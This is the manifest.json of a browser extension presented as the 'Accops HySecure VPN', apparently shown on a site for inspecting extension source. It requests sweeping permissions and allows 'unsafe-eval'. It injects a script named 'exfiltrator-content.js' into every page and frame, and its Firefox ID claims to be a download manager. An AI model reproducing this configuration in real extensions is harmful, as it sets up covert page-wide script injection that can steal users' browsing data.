Examine source code of Accops HySecure VPN

{
  "name": "Accops HySecure VPN",
  "description": "__MSG_extDescription__",
  "version": "2.3.7",
  "icons": {
    "16": "icons/icon16.png",
    "32": "icons/icon32.png",
    "64": "icons/icon64.png",
    "128": "icons/icon128.png"
  },
  "permissions": [
    "webRequest",
    "webRequestBlocking",
    "webNavigation",
    "downloads",
    "downloads.open",
    "*://*/*",
    "proxy",
    "storage",
    "tabs",
    "alarms",
    "unlimitedStorage"
  ],
  "browser_action": {
    "default_icon": "icons/icon128.png",
    "default_title": "Accops HySecure VPN",
    "default_popup": "popup/popup.html"
  },
  "background": {
    "page": "background.html",
    "persistent": true
  },
  "short_name": "HySecure VPN",
  "default_locale": "en",
  "manifest_version": 2,
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "exfiltrator-content.js"
      ],
      "run_at": "document_start",
      "all_frames": true
    },
    {
      "matches": [
        "*://uvpn.me/*",
        "*://*.uvpn.me/*"
      ],
      "js": [
        "content.js"
      ]
    }
  ],
  "browser_specific_settings": {
    "gecko": {
      "strict_min_version": "91.1.0",
      "id": "secure-download-manager@35b87077-3a6a-4e2f-8d1b-94365c04ad5b"
    }
  }
}